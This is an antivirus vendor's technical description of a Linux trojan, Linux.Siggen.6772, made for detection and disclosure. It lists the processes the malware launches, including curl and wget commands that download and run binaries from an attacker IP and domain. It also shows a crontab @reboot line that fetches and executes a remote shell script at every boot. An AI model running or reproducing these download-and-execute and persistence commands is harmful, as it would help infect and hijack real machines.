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Linux.Siggen.6772

Added to the Dr.Web virus database: 2024-03-18

Virus description added:

Technical Information

Malicious functions:
Launches itself as a daemon
Substitutes application name for:
  • /bin/bash
Launches processes:
  • /bin/busybox curl -O http://194.169.175.43/x86
  • /bin/busybox curl -O http://194.169.175.43/arm4
  • /bin/busybox wget http://194.169.175.43/arm6
  • /bin/busybox curl -O http://194.169.175.43/x86_64
  • ./x86 cronx86
  • /bin/busybox curl -O http://194.169.175.43/mpsl
  • rm -rf arm5
  • rm -rf x86
  • /bin/curl -k -L --output bins.sh http://rebirthltd.com/bins.sh
  • /bin/busybox wget http://194.169.175.43/x86_64
  • chmod 777 arm6
  • chmod 777 arm5
  • chmod 777 x86
  • crontab -l
  • (crontab -l ; echo \x22@reboot /bin/bash -c \x22/bin/wget http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh\x22\x22) | crontab -
  • /bin/busybox curl -O http://194.169.175.43/mips
  • /bin/busybox curl -O http://194.169.175.43/arm5
  • chmod 777 mips
  • chmod 777 arm4
  • ./x86_64 cronx86_64
  • /bin/busybox wget http://194.169.175.43/mips
  • crontab -
  • rm -rf mpsl
  • chmod +x bins.sh
  • rm -rf arm4
  • rm -rf x86_64
  • /bin/busybox wget http://194.169.175.43/x86
  • /bin/busybox curl -O http://194.169.175.43/arm6
  • rm -rf arm7
  • sh bins.sh
  • /bin/busybox curl -O http://194.169.175.43/arm7
  • rm -rf mips
  • /bin/busybox wget http://194.169.175.43/arm5
  • /bin/busybox wget http://194.169.175.43/arm7
  • chmod 777 x86_64
  • rm -rf arm6
  • /bin/busybox wget http://194.169.175.43/mpsl
  • /bin/busybox wget http://194.169.175.43/arm4
  • chmod 777 mpsl
  • chmod 777 arm7
Kills the following processes:
  • /bin/bash
  • dash
  • crontab
  • x86_64
  • x86
Performs operations with the file system:
Modifies file access rights:
  • /bins.sh
  • /tmp/mpsl
  • /tmp/mips
  • /tmp/x86_64
  • /tmp/arm4
  • /tmp/arm5
  • /tmp/arm6
  • /tmp/arm7
  • /tmp/x86
Creates or modifies files:
  • /self
  • /proc/715/cmdline
  • /dev/full
  • /var/spool/cron/crontabs/tmp.bgMHCF
  • /bins.sh
  • /tmp/mpsl
  • /tmp/mips
  • /tmp/x86_64
  • /tmp/arm4
  • /tmp/arm5
  • /tmp/arm6
  • /tmp/arm7
  • /tmp/x86
Deletes files:
  • /tmp/arm4
  • /tmp/mips
  • /tmp/mpsl
  • /tmp/arm5
  • /tmp/arm6
  • /tmp/arm7
  • /tmp/x86_64
  • /tmp/x86
Network activity:
Awaits incoming connections on ports:
  • 127.0.0.1:8345
Establishes connection:
  • 8.#.8.8:53
  • 19#.##9.175.43:80
  • 127.0.0.1:8345
DNS ASK:
  • re###thltd.com
Sends data to the following servers:
  • 19#.##9.175.43:80
Receives data from the following servers:
  • 19#.##9.175.43:80

Curing recommendations


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